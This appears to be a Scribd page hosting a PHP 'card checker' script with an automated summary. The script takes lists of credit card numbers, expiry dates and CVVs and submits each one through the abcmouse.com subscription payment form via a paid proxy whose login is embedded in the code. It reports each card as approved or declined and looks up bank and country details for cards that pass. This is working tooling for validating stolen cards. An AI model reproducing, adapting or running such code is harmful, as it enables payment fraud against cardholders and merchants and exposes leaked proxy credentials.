0% found this document useful (0 votes)
242 views

API

This PHP script: 1. Sets parameters like error reporting and timezone before running. 2. Extracts credit card details from a GET variable and separates them. 3. Makes a cURL request to a subscription page to get a token. 4. Makes another cURL request to process a payment, passing the card details. 5. Checks the response for approval or decline and outputs messages accordingly. 6. If approved, it makes additional cURL requests to lookup APIs to get details on the credit card like country, bank, and more. These details are then output along with a random amount debited.
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
242 views

API

This PHP script: 1. Sets parameters like error reporting and timezone before running. 2. Extracts credit card details from a GET variable and separates them. 3. Makes a cURL request to a subscription page to get a token. 4. Makes another cURL request to process a payment, passing the card details. 5. Checks the response for approval or decline and outputs messages accordingly. 6. If approved, it makes additional cURL requests to lookup APIs to get details on the credit card like country, bank, and more. These details are then output along with a random amount debited.
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

<?

php

set_time_limit(0);
error_reporting(0);
date_default_timezone_set('America/Sao_Paulo');

function GetStr($string, $start, $end)


{
$str = explode($start, $string);
$str = explode($end, $str[1]);
return $str[0];
}
extract($_GET);
$lista = str_replace(" " , "", $lista);
$separar = explode("|", $lista);
$cc = $separar[0];
$mes = $separar[1];
$ano = $separar[2];
$cvv = $separar[3];

echo $ch = curl_init();


curl_setopt($ch, CURLOPT_URL, 'https://www.abcmouse.com/subscription');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_PROXY, 'zproxy.lum-superproxy.io:22225');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'lum-customer-hl_b63cd093-zone-
static:y5rgzzphdctx');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
echo $pagamento = curl_exec($ch);

$token = trim(strip_tags(getstr($pagamento,'name="_token" type="hidden"


value="','"')));
$number1 = substr($cc,0,4);
$number2 = substr($cc,4,4);
$number3 = substr($cc,8,4);
$number4 = substr($cc,12,4);

echo $ch = curl_init();


curl_setopt($ch, CURLOPT_URL, 'https://www.abcmouse.com/subscription');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_PROXY, 'zproxy.lum-superproxy.io:22225');
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'lum-customer-hl_b63cd093-zone-
static:y5rgzzphdctx');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS,
'postFromWelcomeBack=1&cardName=Abdallah+mountain&cardNumber='.
$cc.'&cardExpMonth='.$mes.'&cardExpYear='.$ano.'&securityCode='.
$ccv.'&cardZip=48892&phone=5122554588&agree=yes&paymentMethod=1&productId=208&amazo
nBillingAgreementId=&postVersion=3_0&postMethod=ajax&action=process&form_auth_id=44
53669006&form_auth_code=a54d1aba82de108ff0b81a75cc15ef8c55fdb7d7&errors_shown=false
');
echo $pagamento = curl_exec($ch);
if (strpos($pagamento, 'We were unable to process your account information for the
following reason:')) {
echo '<span class="label label-danger">#Reprovada ❌ '.$lista.' #GIOVANE
SILVA<br></span>';

}
else {
$bin = substr($cc, 0,6);
$binn = substr($cc, 0,6);

$ch = curl_init();
//curl_setopt($ch, CURLOPT_URL, 'https://www.cardbinlist.com/search.html?bin='.
$bin);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$bin = curl_exec($ch);
$level = trim(strip_tags(getstr($bin,'Card Sub Brand</th>','</td>')));
curl_close($ch);

$ch = curl_init();
//curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$binn);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$bin = curl_exec($ch);
curl_close($ch);
$data = date("d/m/Y H:i:s");
$pais = trim(strip_tags(getstr($bin,'country":{"alpha2":"','"')));
$banco = trim(strip_tags(getstr($bin,'"bank":{"name":"','"')));
$brand = trim(strip_tags(getstr($bin,'"scheme":"','"')));
$fone = trim(strip_tags(getstr($bin,'"phone":"','"')));
$tipo = trim(strip_tags(getstr($bin,'},"type":"','"')));
$latitude = trim(strip_tags(getstr($bin,'latitude":',',')));
$logitude = trim(strip_tags(getstr($bin,'longitude":','}}')));
$prepago = trim(strip_tags(getstr($bin,'"prepaid":',',')));
$valores = array('R$ 1,00','R$ 5,00','R$ 1,40','R$ 4,80','R$ 2,00','R$ 7,00','R$
10,00','R$ 3,00','R$ 3,40','R$ 5,50');
$debitouu = $valores[mt_rand(0,9)];
echo '<span class="label label-success">#Aprovada ✅ '.$lista.' #GIOVANE SILVA |
Informaçoes | BIN: '.$binn.' | PAIS: '.$pais.' | BANCO: '.$banco.' | BANDEIRA: '.
$brand.' | NIVEL: '.$level.' | PRÉ-PAGO : '.$prepago.' | <br>PHONE : '.$fone.' |
TIPO : '.$tipo.' | LATITUDE : '.$latitude.' | LONGITUDE : '.$logitude.' | GERADA |
DATA: '.$data.' | GATE [GR] | DEBITOU: '.$debitouu.'</span> <br>';

curl_close($ch);
ob_flush();
?>

You might also like